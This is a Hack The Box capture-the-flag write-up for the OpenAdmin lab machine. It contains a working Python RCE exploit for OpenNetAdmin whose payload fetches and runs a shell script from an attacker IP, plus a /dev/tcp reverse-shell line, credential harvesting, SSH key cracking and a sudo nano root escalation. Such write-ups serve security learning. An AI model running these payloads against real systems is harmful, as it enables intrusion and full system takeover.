It was an easy machine from Hack The Box with:
- 0-day in some sort of webapp with RCE in an old version.
- SSH credentials in
mysqlconfig file. - SSH private key on some internal network running in the background.
- GTFOBins on a file owned by root.
1. Enumeration
First things first, let’s add 10.10.10.171 in /etc/hosts as openadmin.htb and enumerate our machine with nmap to discover open ports and services.
root@kali:~# nmap -sV -sC -sT -o openadmin openadmin.htb
# Nmap 7.70 scan initiated Mon Jan 6 19:35:31 2020 as: nmap -sV -sT -sC -o openadmin 10.10.10.171
Nmap scan report for 10.10.10.171
Host is up (0.19s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
| 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
1092/tcp filtered obrpd
1185/tcp filtered catchpole
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jan 6 19:36:37 2020 -- 1 IP address (1 host up) scanned in 66.58 secondsI found http on port 80 and ssh on port 22 and 2 other filtered ports.
The home page was apache default page and nothing else:
I tried different URLs but still nothing, so let’s jump into gobuster to enumerate other pages and directories:
root@kali:~# gobuster dir -u http://openadmin.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://openadmin.htb
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/02/02 20:10:17 Starting gobuster
===============================================================
/music (Status: 301)
Progress: 980 / 87665 (1.12%)I found /music page let’s see its content:
It’s a beautiful UI with some interesting links: login redirect to openadmin.htb/ona and create an account to nothing. Let’s click on login to see what it goes:
It’s some sort of an web application, I struggled at this point for awhile trying to figure out what is this, then I found a login page.
I tried admin:admin and it worked, but something wrong it redirect to the previous page with guest account not as admin. I intercepted the login request and send it using burp to see more details, but also nothing. I stuck a little, so I decided to search what is this application!.
“OpenNetAdmin is a system for tracking IP network attributes in a database. A web interface is provided to administer the data, and there is a fully functional CLI interface for batch management.”
2. Exploitation
I found RCE exploit with searchsploit, but the version 13.03 is older than running on the box 18.1.1:
root@kali:~# searchsploit opennetadmin
----------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
----------------------------------------------------------------------- ----------------------------------------
OpenNetAdmin 13.03.01 - Remote Code Execution | exploits/php/webapps/26682.txt
----------------------------------------------------------------------- ----------------------------------------
Shellcodes: No ResultI always like trying old things to see if it still work or not. The file 26682.txt contains some info about the exploit with HTML code as a PoC by Mandat0ry (aka Matthew Bryant). I didn’t like HTML to exploit the application, so I wrote some python script to automate our process:
#!/usr/bin/env python
from termcolor import colored
from requests import get, post
def RS():
from random import choice
from string import ascii_lowercase
return ''.join(choice(ascii_lowercase) for i in range(4))
def exploit():
url = 'http://openadmin.htb/ona/dcm.php'
php_shell = "<?php exec('wget 10.10.15.253:8000/shell.sh;bash shell.sh') ?>"
mod_name = RS()
params, options = dict(), dict()
options['desc'] = php_shell # php code
options['name'] = mod_name # module name to inject the code
options['file'] = '../../../../../../../../../../../var/log/ona.log' # the file itself that
params['options[desc]'] = options['desc']
params['module'] = 'add_module'
params['options[name]'] = options['name']
params['options[file]'] = options['file']
print colored('[!] Sending our payload...', 'yellow')
post_shell = post(url, params = params)
print colored('[+] Done', 'green')
print colored('[!] Spawning a shell...', 'yellow')
get_rce = url + '?module=' + mod_name
get_shell = get(get_rce)
print get_shell.text
exploit()Simply, The exploit works because we can add modules without any type of authentication. Modules are in this form:
module[name] = The name of the function that will be run out of the included file
module[description] = Irrelevant description of the module (unless some PHP code is injected here hmm?)
module[file] = The file to be included and then the functionI can inject some PHP code into /var/log/ona.log file via the module description parameter. Every time a module is added to OpenNetAdmin app the description, name are all logged into this log file.
By setting the module file path to ../../../../../../../../../../../var/log/ona.log, so we can include the log file as a module.
I tried to inject bash -i >& /dev/tcp/10.10.15.253/1337 0>&1 as a reverse shell, but it didn’t work because of the way the logger script works I cannot use any < or >. So, I tried to escape it using \>, but also didn’t work.
Let’s write the above script into a shell.sh file and upload it into the box and wait for a shell:
I got a shell with an old 0-day exploit as www-data, now let’s dive into privesc.
3. Privilege Escalation
First thing I though is to search for any interesting files, then I stuck a little until I found mysql database settings file inside local/config folder:
The file contains database creds
<?php
$ona_contexts=array (
'DEFAULT' =>
array (
'databases' =>
array (
0 =>
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
),
),
'description' => 'Default data context',
'context_color' => '#D3DBFF',
),
);
?>Let’s try login to mysql and see the available users:
I got two md5 hashes after cracking guest:test and admin:admin. I tried ssh using those creds but nothing worked. After awhile I went back to what I’ve gained so far and thought let’s try database password to switch with an existing users. I tried first user jimmy and it worked.
4. Internal Network
This user isn’t the actual user so, as we saw above there is another user joanna. I started searching for files and finally I got a folder called internal inside /var/www :
282830 4 -rwxrwxr-x 1 jimmy internal 339 Nov 23 17:40 /var/www/internal/main.php
2644 4 -rwxrwxr-x 1 jimmy internal 185 Nov 23 16:37 /var/www/internal/logout.php
1387 4 -rwxrwxr-x 1 jimmy internal 3229 Nov 22 23:24 /var/www/internal/index.phpThen, I got an interesting php code inside index.php file.
<?php
$msg = '';
if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f...') {
$_SESSION['username'] = 'jimmy';
header("Location: /main.php");
} else {
$msg = 'Wrong username or password.';
}
}
?>The script wants to login via main.php using jimmy as a username and sha512(password) must match the following hash:
00e302ccdcf1c60b8ad5.... After I decrypt the hash I got Revealed as a password.
Now let’s see what other services running on the box:
jimmy@openadmin:~$ netstat -lnpt | grep LISTEN
netstat -lnpt | grep LISTEN
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:52846 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -I found a TCP service running locally on port 52846. Let’s post our data on 127.0.0.1:52846/main.php usign curl:
Oh! I got ssh private key, so let’s extract it using ssh2john and crack it with our friend john:
root@kali:~# ssh2john rsa_priv.key > joanna.priv
root@kali:~# john --wordlist=/usr/share/wordlists/rockyou.txt joanna.priv
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas (rsa_priv.key)
1g 0:00:00:12 DONE (2020-02-03 01:20) 0.07855g/s 1126Kp/s 1126Kc/s 1126KC/s *7¡Vamos!
Session completedAnd now I got the password bloodninjas, let’s ssh with joanna and own user:
5. Own Root
Let’s find what else I can do to own root, after deep diving for any important things related to joannaI found /etc/sudoers.d/joanna owned by root. Sudoers files just contains rights for who can access what in the system.
joanna@openadmin:~$ cat /etc/sudoers.d/joanna
joanna ALL=(ALL) NOPASSWD:/bin/nano /opt/privThis line above just tell the system give all sudo privileges to user joanna with no password to execute nano on /opt/priv. let’s take advantage of this by execute commands from /bin/nano bypassing all local security restrictions, see GTFOBins.
Now let’s run sudo nano /opt/priv, and press ctr + R to read a file then ctr + X to execute root commands and type:
reset; bash 1>&0 2>&0;And finally owned root:
root@openadmin:~# id
uid=0(root) gid=0(root) groups=0(root)
root@openadmin:~# cat /root/root.txt
2f907ed4